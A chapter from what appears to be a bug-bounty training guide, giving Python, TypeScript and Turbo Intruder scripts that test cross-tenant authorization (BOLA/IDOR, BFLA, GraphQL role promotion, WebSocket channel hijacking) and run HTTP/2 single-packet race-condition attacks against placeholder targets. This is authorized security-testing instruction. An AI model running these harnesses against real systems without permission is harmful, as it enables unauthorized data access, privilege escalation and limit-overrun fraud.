Code Harnesses, Custom Scripts & Race Condition Procedures
Intercepting traffic in a proxy is only the first step. When an application involves complex multi-step flows, multiple roles, tenant boundaries, or high-throughput state transitions, point-and-click proxy testing falls short.
This chapter covers production-grade Python and TypeScript code harnesses designed to systematically probe cross-tenant boundaries, audit WebSocket state pipelines, and execute HTTP/2 single-packet race conditions.
1. Principles of Custom Test Harnesses
Section titled “1. Principles of Custom Test Harnesses”A script finds hypotheses; a human confirms them. To keep testing disciplined and reproducible:
- Use Project-Local Environments: Never install testing dependencies globally. Install
uvfirst (pip install uv, or see docs.astral.sh/uv), then runuv init audit-scripts && uv add httpx playwright websockets. For Node.js, install Node.js 20+ (it shipsnpx) and use a project-localpackage.json(npm install playwright ws). - Proxy All Custom Traffic: Set HTTP/HTTPS proxies in your HTTP clients to route through Caido or Burp Suite at
http://127.0.0.1:8080. This provides an immediate visual record and allows you to replay interesting requests in Repeater. - Five Core Use Cases for Custom Scripts:
- Multi-step authentication & token lifecycle: Automating login sequences, token refresh exchanges, and session invalidation.
- Role-based permission comparison (Differential Testing): Logging in as different roles (Admin, Member, Read-Only, Unauthenticated) and comparing responses to the same endpoints.
- Multi-tenant boundary verification: Permuting resource IDs across distinct organizations or tenant workspaces.
- State-machine & WebSocket auditing: Maintaining persistent connections while manipulating state over HTTP/REST APIs.
- Single-packet concurrency: Eliminating network latency jitter to test race conditions within millisecond execution windows.
2. Multi-Account Authorization Script
Section titled “2. Multi-Account Authorization Script”This Python script systematically tests cross-account authorization (BOLA/IDOR). It configures two authenticated sessions: Account A, the attacker, and Account B, the victim. It queries baseline objects owned by Account B, then replays those requests with Account A’s credentials.
import asyncioimport httpxfrom collections import namedtuple
# Define account container with name, client instance, and auth headersAccount = namedtuple("Account", ["name", "client", "headers"])
PROXY_URL = "http://127.0.0.1:8080"
async def test_cross_account(base_url: str, accounts: list[Account], endpoints: list[str], ids: list[str]): findings = [] account_a = accounts[0] account_b = accounts[1]
for endpoint in endpoints: for obj_id in ids: url = base_url + endpoint.format(id=obj_id)
# Step 1: Account B requests its own object (establishing baseline) try: r_b = await account_b.client.get(url, headers=account_b.headers) except Exception as e: print(f"[-] Error baseline request for {url}: {e}") continue
if r_b.status_code != 200: # If baseline doesn't exist or isn't accessible to owner, skip continue
# Step 2: Account A requests Account B's object try: r_a = await account_a.client.get(url, headers=account_a.headers) except Exception as e: print(f"[-] Error cross-account probe for {url}: {e}") continue
# Step 3: Evaluate cross-account access if r_a.status_code == 200 and len(r_a.text) > 0: findings.append({ "endpoint": endpoint, "object_id": obj_id, "account_b_status": r_b.status_code, "account_a_status": r_a.status_code, "response_len_diff": abs(len(r_b.text) - len(r_a.text)), "evidence": r_a.text[:250], "verdict": "POTENTIAL BOLA / IDOR - Needs manual review" }) print(f"[!] BOLA Detected on {url} (Status: {r_a.status_code})")
return findings
async def main(): # Configure clients routing through local proxy with certificate validation disabled for testing async with httpx.AsyncClient(proxy=PROXY_URL, verify=False, timeout=15.0) as client_a, \ httpx.AsyncClient(proxy=PROXY_URL, verify=False, timeout=15.0) as client_b:
accounts = [ Account("tenant_a_user", client_a, {"Authorization": "Bearer <ACCOUNT_A_JWT>"}), Account("tenant_b_user", client_b, {"Authorization": "Bearer <ACCOUNT_B_JWT>"}), ]
target_base = "https://api.target.example" target_endpoints = [ "/api/v1/organizations/{id}/settings", "/api/v1/invoices/{id}", "/api/v1/users/{id}/profile", "/api/v1/documents/{id}/export" ]
# Test IDs known to belong to Account B (the victim) test_ids = ["10042", "10043", "inv_99481"]
results = await test_cross_account(target_base, accounts, target_endpoints, test_ids) print(f"\n[+] Audit complete. Found {len(results)} potential BOLA instances.")
if __name__ == "__main__": asyncio.run(main())3. Multi-Tenant BOLA/BFLA & GraphQL Audit Matrix
Section titled “3. Multi-Tenant BOLA/BFLA & GraphQL Audit Matrix”For enterprise SaaS applications with complex role hierarchies, horizontal multi-tenancy and vertical role boundaries must be tested simultaneously across REST and GraphQL endpoints.
The harness below defines roles (TenantB_Admin, TenantB_Member, TenantA_Admin, Unauthenticated). Tenant A is the attacker and Tenant B is the victim, so the Tenant B admin sets the baseline. It evaluates both REST and GraphQL mutations:
import asyncioimport jsonimport httpxfrom dataclasses import dataclassfrom typing import Dict, Any, Optional
PROXY_URL = "http://127.0.0.1:8080"
@dataclassclass RoleSession: name: str tenant_id: str headers: Dict[str, str]
@dataclassclass TargetVector: name: str method: str url: str json_body: Optional[Dict[str, Any]] = None expected_owner_tenant: str = "tenant_b" admin_only: bool = False
async def probe_endpoint( client: httpx.AsyncClient, role: RoleSession, vector: TargetVector) -> Dict[str, Any]: response = await client.request( method=vector.method, url=vector.url, headers=role.headers, json=vector.json_body, timeout=10.0 ) return { "vector": vector.name, "role": role.name, "tenant": role.tenant_id, "status": response.status_code, "length": len(response.content), "body_preview": response.text[:250] }
def evaluate_authorization(results: list[Dict[str, Any]], vector: TargetVector) -> None: baseline = next((r for r in results if r["role"] == "TenantB_Admin"), None) if not baseline or baseline["status"] not in (200, 201): print(f"[-] Baseline failed for vector {vector.name} (Status: {baseline['status'] if baseline else 'None'})") return
for res in results: if res["role"] == "TenantB_Admin": continue
# 1. Detect Cross-Tenant BOLA (Tenant A, the attacker, accessing a Tenant B resource) if res["tenant"] != vector.expected_owner_tenant and res["status"] == baseline["status"]: if abs(res["length"] - baseline["length"]) < 50: print(f"[CRITICAL BOLA] {res['role']} accessed {vector.name} (Status {res['status']}, Len {res['length']})")
# 2. Detect Vertical BFLA (Non-admin executing admin_only action) if vector.admin_only and "Member" in res["role"] and res["status"] in (200, 201): print(f"[HIGH BFLA] {res['role']} executed admin function {vector.name} (Status {res['status']})")
# 3. Detect Unauthenticated Access if res["role"] == "Unauthenticated" and res["status"] in (200, 201): print(f"[CRITICAL AUTH BYPASS] Unauthenticated access to {vector.name} (Status {res['status']})")
async def main() -> None: roles = [ RoleSession("TenantB_Admin", "tenant_b", {"Authorization": "Bearer <TENANT_B_ADMIN_JWT>"}), RoleSession("TenantB_Member", "tenant_b", {"Authorization": "Bearer <TENANT_B_MEMBER_JWT>"}), RoleSession("TenantA_Admin", "tenant_a", {"Authorization": "Bearer <TENANT_A_ADMIN_JWT>"}), RoleSession("Unauthenticated", "none", {}) ]
vectors = [ TargetVector( name="REST_Get_Invoice_BOLA", method="GET", url="https://api.target.example/v2/organizations/tenant_b/invoices/inv_99481", expected_owner_tenant="tenant_b", admin_only=False ), TargetVector( name="GraphQL_Update_Role_BFLA", method="POST", url="https://api.target.example/graphql", json_body={ "operationName": "PromoteUser", "variables": {"input": {"userId": "usr_112", "orgId": "tenant_b", "role": "OWNER"}}, "query": "mutation PromoteUser($input: RoleInput!) { updateOrgRole(input: $input) { success role } }" }, expected_owner_tenant="tenant_b", admin_only=True ) ]
async with httpx.AsyncClient(proxy=PROXY_URL, verify=False, http2=True) as client: for vector in vectors: tasks = [probe_endpoint(client, role, vector) for role in roles] outcomes = await asyncio.gather(*tasks) evaluate_authorization(outcomes, vector)
if __name__ == "__main__": asyncio.run(main())4. State Machine & WebSocket Auditing Scripts
Section titled “4. State Machine & WebSocket Auditing Scripts”Modern web applications bind authorization state across HTTP cookies, browser storage (localStorage / IndexedDB), and long-lived WebSocket tunnels. An HTTP upgrade handshake may authenticate properly, but message-level routing on the WebSocket frequently neglects channel-level tenant isolation.
The following TypeScript script uses Playwright to complete an automated browser login, extract authentication tokens, initiate a WebSocket connection, probe for cross-tenant message subscriptions, and check asynchronous background export job permissions:
import { chromium } from 'playwright';import WebSocket from 'ws';
interface AuditConfig { loginUrl: string; wsEndpoint: string; victimChannelId: string; victimJobId: string;}
async function auditStatefulWebSocketAndJobs(config: AuditConfig): Promise<void> { // Launch browser routed through Caido / Burp const browser = await chromium.launch({ headless: true, proxy: { server: 'http://127.0.0.1:8080' } }); const context = await browser.newContext({ ignoreHTTPSErrors: true }); const page = await context.newPage();
console.log('[*] Executing browser login flow...'); await page.goto(config.loginUrl); await page.fill('input[name="email"]', process.env.TEST_ATTACKER_EMAIL || ''); await page.fill('input[name="password"]', process.env.TEST_ATTACKER_PASS || ''); await page.click('button[type="submit"]'); await page.waitForLoadState('networkidle');
// Extract access token and session cookies const authToken = await page.evaluate(() => localStorage.getItem('access_token')); const cookies = await context.cookies(); const cookieHeader = cookies.map(c => `${c.name}=${c.value}`).join('; ');
console.log(`[+] Authenticated. Token extracted: ${authToken ? authToken.slice(0, 15) + '...' : 'none'}`);
// Step 2: Audit WebSocket Message-Level Authorization const ws = new WebSocket(config.wsEndpoint, { headers: { 'Cookie': cookieHeader, 'Authorization': `Bearer ${authToken}` }, rejectUnauthorized: false });
ws.on('open', () => { console.log('[*] WebSocket connected. Probing cross-tenant subscription...'); // Attempt subscribing to victim tenant channel const subscribePayload = JSON.stringify({ action: 'subscribe_document_stream', channel_id: config.victimChannelId, include_history: true }); ws.send(subscribePayload); });
ws.on('message', (data: WebSocket.RawData) => { const msg = data.toString(); if (msg.includes(config.victimChannelId)) { console.log(`[CRITICAL WS BOLA] Cross-tenant stream data received: ${msg.slice(0, 250)}`); } });
// Step 3: Probe Asynchronous Background Job Export Endpoint console.log('[*] Probing asynchronous export download...'); const jobRes = await fetch(`https://api.target.example/v1/jobs/${config.victimJobId}/download`, { method: 'GET', headers: { 'Authorization': `Bearer ${authToken}`, 'Cookie': cookieHeader } });
if (jobRes.status === 200) { console.log(`[CRITICAL ASYNC JOB BOLA] Unscoped background export accessible: ${config.victimJobId}`); } else { console.log(`[-] Background export returned status: ${jobRes.status}`); }
// Allow time for async WS messages before cleanup await new Promise(resolve => setTimeout(resolve, 3000)); ws.close(); await browser.close();}
// Execution parametersconst config: AuditConfig = { loginUrl: 'https://app.target.example/login', wsEndpoint: 'wss://api.target.example/realtime', victimChannelId: 'chan_tenant_victim_8819', victimJobId: 'job_export_44102'};
auditStatefulWebSocketAndJobs(config).catch(console.error);5. Single-Packet Race Condition Procedures
Section titled “5. Single-Packet Race Condition Procedures”The Single-Packet Attack Concept
Section titled “The Single-Packet Attack Concept”Traditional multi-threaded concurrency (such as sending 20 asynchronous requests using Python’s asyncio.gather()) suffers from network jitter. Latency across distinct TCP connections spreads arrival times across tens or hundreds of milliseconds. Because modern servers process an individual request in 0.3 ms to 1 ms, sequential processing occurs and the race condition window is missed. This flaw class is also called TOCTOU (time-of-check to time-of-use): the server checks a limit, then acts, and a parallel request slips in between.
First check whether the target speaks HTTP/2:
curl -s --http2 -o /dev/null -w "%{http_version}\n" https://target.exampleThe single-packet attack (introduced by James Kettle at PortSwigger Research in 2023) removes arrival jitter using HTTP/2 (or HTTP/3) multiplexing:
- Pipelining and Synchronization: Multiple HTTP/2 request streams are prepared over a single TCP connection.
- Last-Byte Withholding: The client transmits the headers and body of each request except for the final frame.
- Packet Collapsing: The final frames of all queued requests are flushed simultaneously into a single TCP packet (or single UDP datagram in HTTP/3).
- Server-Side Arrival: The operating system kernel and reverse proxy receive all requests in the exact same packet, causing the backend threads to execute the vulnerable check-then-act logic in parallel.
flowchart TD
subgraph Standard["Standard Multi-Threaded Requests (High Jitter)"]
T1["Request 1 (TCP Conn A)"] -->|T = 0.0ms| S1["Backend processes Req 1 (0.5ms)"]
T2["Request 2 (TCP Conn B)"] -->|T = 12.4ms| S2["Backend processes Req 2 (State already changed!)"]
end
subgraph SinglePacket["HTTP/2 Single-Packet Attack (Zero Arrival Jitter)"]
SP["Single TCP Packet containing final frames of 10 requests"] --> MUX["Server ALPN HTTP/2 Multiplexer"]
MUX --> P1["Thread 1: Check balance -> OK"]
MUX --> P2["Thread 2: Check balance -> OK"]
MUX --> P3["Thread 3: Check balance -> OK"]
P1 --> W1["Deduct & Grant"]
P2 --> W2["Deduct & Grant"]
P3 --> W3["Deduct & Grant"]
end
Safe Verification Script (Turbo Intruder)
Section titled “Safe Verification Script (Turbo Intruder)”To verify a limit-overrun or state-machine race in an authorized scope without causing denial of service, send 5 to 15 synchronized requests referencing a test coupon, test credits, or gift card redemption:
# Turbo Intruder Script for Safe HTTP/2 Single-Packet Race Verificationdef queueRequests(target, wordlists): # Engine.BURP2 negotiates HTTP/2 via ALPN and executes single-packet sync engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2)
# Queue 10 identical requests into synchronization gate 'race1' for i in range(10): engine.queue(target.req, gate='race1')
# Withhold final frames until all 10 requests are buffered, then flush in 1 TCP packet engine.openGate('race1')
def handleResponse(req, interesting): table.add(req)What Confirms a Real Race Condition
Section titled “What Confirms a Real Race Condition”A race condition is only confirmed and reportable when all three criteria are met:
- Limit Overrun Occurred: The sensitive action succeeded multiple times beyond the business rule (e.g., a one-time promo code was redeemed 4 times, or a single-use balance transfer applied twice).
- Reproducible Under Timing Control: The flaw consistently fails under sequential testing (request 1 returns 200, request 2 returns 400), but succeeds when single-packet synchronization collapses the requests.
- Persistent State Impact: A subsequent
GET /api/v1/account/creditsconfirms that the account balance or state actually persisted the duplicate transaction in the database.
Tooling options beyond Turbo Intruder
Section titled “Tooling options beyond Turbo Intruder”- Burp Repeater Tab Groups: Group 5 to 20 tabs and choose “Send group in parallel (single-packet attack).” Over HTTP/2 it packs final frames into one TCP packet; over HTTP/1.1 it falls back to last-byte synchronization (PortSwigger docs).
- First Sequence Sync (scaling past 30 requests): A single 1,500-byte TCP packet fits roughly 20 to 30 HTTP/2 final frames. In August 2024, RyotaK (GMO Flatt Security) published First Sequence Sync, which uses IP fragmentation and TCP sequence reordering to hold back the initial segment until later segments sit in the target kernel receive window. In test conditions it synchronized up to 10,000 requests in roughly 166 ms (server-dependent, ~500 ms on a small cloud instance). Only use large batches on local labs or explicitly authorized rate-limit tests.
- Racey (CLI alternative): swarley7/racey is a lightweight Go binary for HTTP/2 and HTTP/3 (
-http3) single-packet testing when you want to skip the JVM. It is a small repository (low adoption), so learn the technique in Burp Repeater or Turbo Intruder first. - Caido Replay: Caido supports grouped parallel replay workflows as well, though Burp Turbo Intruder (
Engine.BURP2) remains the standard for sub-millisecond synchronization.
Next step: if the target has AI features, read Section 23.
Open local graph around this page
Linked from here
- Automating, Reporting, and the ChecklistBroken Access Control
- Race Conditions as BACBroken Access Control
- Business Logic: Draw the Map FirstBug Hunting
- Practice, Notes, and a Year That Is Not a Salary GoalBug Hunting
- Priority Matrices & RoadmapsBug Hunting
- Storage risks, serving flaws, and race conditionsFile Upload
- Advanced TechniquesIDOR Hunting
- Twelve bug familiesWebSocket
- Getting frames throughWebSocket
Bug Hunting for BeginnersFor authorized testing only. Read the ethics note before you put a domain in scope.